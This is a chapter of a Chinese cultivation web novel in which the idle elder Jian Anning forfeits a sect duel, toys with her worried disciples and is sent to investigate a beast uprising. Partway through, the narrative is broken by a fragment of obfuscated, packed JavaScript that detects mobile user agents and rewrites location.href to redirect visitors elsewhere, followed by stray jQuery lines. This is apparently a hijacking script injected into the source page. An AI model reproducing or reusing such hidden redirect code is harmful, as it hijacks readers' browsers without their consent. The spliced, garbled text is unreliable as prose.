云霄峰上,内门九位长老都站在了台上,除了简安宁。
底下的人群有人窃窃私语问为何还不开始,也有人和新入门的师弟师妹科普久久不来的,简长老的“光辉事迹”。
“你不知道,简长老经常这样,比试迟到,被宗主直接强行拖过来,站上擂台也不会好好比的。”
“不只是这样,内门长老有时候会来传功堂讲道,别的长老都好好讲修行感悟,但是简长老会讲山下小镇哪家酒坊卖的酒香。”
“可毕竟是元婴长老,咱们这样说会不会被人记恨?”
“不会的,简长老相当好说话,大概只要不抢她的酒葫芦,做什么都行?”
“肃静。”
擂台之上,白发的云中子说了一声,目光望向远方,并道:“简长老已经来了。”
姜檀来得还算及时,她将简安宁直接放在了台上。
于是,她便格格不入地躺在那里,还带着均匀的呼吸,一看就睡得正香。
台上与台下之人心思各不相同,但云中子只是稍微走近了些许,对简安宁轻声唤道:“醒醒。”
简安宁一骨碌就坐了起来,眼睛里还带着点红意。
这给我干哪来了?
她带着刚睡醒时特有的迷糊眼神,环顾四周,就听见不远处传来了云中子的声音。
“现在开始元婴长老的比试抽签。”
简安宁懵懵懂懂地跟着其他人照做,就见禇梦槐带着一丝激动来到了她的面前,说道:“简长老,你答应过我,要和我真真正正地打一场的。”
她为什么要打禇梦槐?
简安宁本能地觉得她的认知可能出现了一点的问题,她甩了甩头,试图将混乱的神智归位。
然而,那厢禇梦槐已经和云中子说过,她和简安宁的这场比斗,要最先开始。
擂台上的其他人已经下去,周围黑压压的一片青云宗弟子等着看元婴期前辈的交锋。
简安宁终于捋顺了一切,心道,她怎么和禇梦槐打?
禇梦槐那厢已经对她抱拳拱手,并道:“简长老不必过于留手,战斗之中,伤亡都是正常。”
简安宁一阵无语。
她留手?她留什么手?
简安宁想了想,还是摆好了架势,决定采取只要禇梦槐一攻过来,她就倒地认输的方案。
反正禇梦槐这人她还算了解,总不会真带着杀意来打。
可惜简安宁失策了。
禇梦槐一出手就直奔她的命门,是朝着把她的脑袋削掉半个的方向来的,而她躲过之后对方也没有放弃的意思,看上去是你死我活的生死决斗。
简安宁沉吟片刻,便朝着场外作为裁判修士的云中子挥手示意,并道:“我认输。”
“简安宁!”
禇梦槐下一招在云中子的制止下生生收了回去,她略感气闷,对简安宁也有些气愤。
“我好好打了,”简安宁眨着无辜的眼睛说,“打不过不能硬挨揍啊?”
禇梦槐只觉得一阵气血倒涌。
云中子宣布了这一场谁胜谁负,只是胜者吐着血满脸不甘,而败者则兴高采烈地找到了自己的徒弟们,并问道:“你们比试的结果都怎么样?”
樊清越和姜檀一个看天一个看地,都不出声,只有陆绯一个老实人上前,对简安宁道:“输了。”
简安宁轻轻拍着他的肩,神色温柔,说道:“没关系的,你才不过刚入道途。”
陆绯:……
他本来也没太在意。
但是他看见,樊清越和姜檀都露出一副见了鬼的神情。
“师尊,你没事吧?”樊清越的手微微颤抖。
往日里,师尊她不躺在地上,来回打滚说“怎么会输了啊”,就已经算是极好的情况了。
樊清越感到一只手轻轻地拍在了她的肩头,简安宁还在微微笑着,说道:“我不是也输了吗?”
而后他便见,简安宁蹲了下去,在地上画圈圈,周身气场相当阴沉。
明眼人都能看出来,简安宁与禇梦槐那场是简安宁存心不想比,那她这般垂头丧气是为什么?
樊清越心想。
他本能地觉察出了一丝关于简安宁的怪异,像是身体与灵魂的货不对板,因而在努力地将喜怒哀乐安在它应该在的地方。
他感到一阵背脊生寒。
恰在此时,元婴长老们的比试全部结束,宗主云中子重新宣布了各位长老的排名,而蹲在一旁的简安宁也被重新叫上了台去。
她看上去还没从失败的打击中走出来,然而禇梦槐显得比她更加气急败坏。
“简长老,你怎么能这样?”禇梦槐悄悄传音说道。
她怎样?
简安宁歪了歪头,看着禇梦槐,表示不解。
“青云宗内门十位长老,以大长老为首…………”
云中子宣布着他们的排位,又宣布着青云宗所给予的资源。
玉玄峰因为简安宁的缘故,是毫无疑问的倒数第一,只是她门下只有三个弟子,所以那些资源也足够使用。
简安宁并不在意资源也不在意排名,但她很乐意借着这个由头逗逗她的徒弟们。
于是,她冷肃着一张脸,朝着她的徒弟们走去。
不得不说,简安宁冷起脸来很像回事,仿佛一把寒冰做的刀剑,能直接顺着目光插入人的心口。
无论是樊清越还是姜檀,都把心提到了嗓子眼里。
“咱们玉玄峰,已经不知道连续多少次倒数第一了。”
本来就非常差的气氛,随着简安宁的这句话更加跌入冰点。
“师尊,我会继续努力的,下一次绝对不会这样!”樊清越慌忙想说点打碎这局面。
姜檀也目光坚定地上前,说:“下一回定要为玉玄峰争回荣誉。”
简安宁微微点头,看向了她最后入门的小弟子,并道:“那你呢?”
“自当全力以赴。”陆绯沉默了片刻后说道。
简安宁满意地点点头,正要恢复平日里的状态,却听她的小弟子又道:“但是,无论是我,还是师兄和师姐都是真正在奋力击败对手。”
“只有师尊你一直把你自己不断强调的大比当作儿戏。”
樊清越是没想到,他这小师弟能说出来这么了不得的话。
他连忙将小师弟往身后拉,而姜檀则与他默契配合着,上前一步,单膝跪地说道:“小师弟年纪尚小,故有失言,还望师尊见谅。”
简安宁眨了眨眼睛,微微歪头看着他们,随手将姜檀扶了起来,并微笑着说道:“你们这样的话,不知道的还以为我是那种话本里看上去早死,实则筹谋许久的大反派呢。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15913072|176949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“师尊说笑了。”
那种情绪错配的感觉又出现在了樊清越心头,以至于他觉得此刻的气氛非常怪异,却不知道该如何打破。
好在,一道火光飞来解了围,那是来自大长老的传音。
“烦死了。”
简安宁如往常一般抱怨着,放过了不知不觉战战兢兢起来的弟子们,闪身往云霄峰去。
樊清越深深地呼出了一口气。
“师尊这状态不对吧?”而一旁的姜檀抿了抿唇说道。
“那当然,师尊平常可不是这个样子,你在哪里找到她的?”樊清越出声问道。
“就是在后山老地方,和以往没什么不同,”姜檀回忆了一下说道,“每次师尊都会在那棵树下抱着酒葫芦睡觉的。”
她沉吟了一会儿,复而道:“若说不同,那就是往日里我没用法术,山路颠簸,走着走着师尊自己就醒了。”
“而这一回用了法术到的云霄峰,师尊是被宗主叫醒的。”
樊清越抱着手臂,思考着,说道:“问题就出在这里了。”
陆绯听不懂他们在说什么,但却听明白了一件事,并问道:“元婴期也需要睡觉吗?”
姜檀看了他一眼缓慢地摇着头,说道:“正常来说,筑基期就不需要了。”
而樊清越终于记起,他这个小师弟还不太熟悉他们玉玄峰的状况,于是转而对他解释道:“师尊大多数情况下都是个很好相处的人,只是偶尔像是被夺舍了一样。”
他挠了挠说道:“我们俩也搞不清楚是什么情况,去问师尊,师尊也根本不会回答,而其他人根本没有注意到师尊这点微妙的异常。”
“师兄是指刚才那样的情况吗?”陆绯垂眸问道。
樊清越点了点头。
而后他便听到陆绯用比他坚定得多的声音回道:“那就是简安宁。”
姜檀抬眸看着他,也不知道这小师弟哪来的底气,那么笃定。
就听陆绯茫然地捂着心口,说道:“我听见我的心是这么说的。”
樊清越和姜檀对视了一眼,都看出对方眼中的奇怪。
另一头,云霄峰。
简安宁几乎是直接闯入了大殿,大长老还没来,云中子站在那里,像是一直在等她。
只见那个明明脸还年轻得像是少年的人,抚了抚自己的胡子,含笑问她道:“有哪里不舒服吗?”
简安宁几乎要炸毛了,高喊道:“哪里都不舒服!哪有睡一半把人喊醒的!”
她直接当场蹲下假装自己是朵蘑菇。
云中子看上去并不意外,并道:“你这毛病什么时候能好?”
简安宁的脸几乎皱成了一团,心不甘情不愿地说道:“谁知道?”
“那你什么时候能好?”云中子又问道。
简安宁不开心地直接在大殿里打起来滚来,满脸无奈地说道:“大概休息一天?”
而云中子只是点头道:“那就好。”
简安宁心里一惊,就见大长老正好在这时候赶了过来,拿着他那个随身携带的本子,装模作样地看了一会儿,便对她说道:“简长老,你们玉玄峰的任务量差了很多啊。”
简安宁心如死灰,坐了起来,但却面无表情地说道:“所以?”
“此去扶余调查妖兽暴动的任务,就交给你们玉玄峰了。”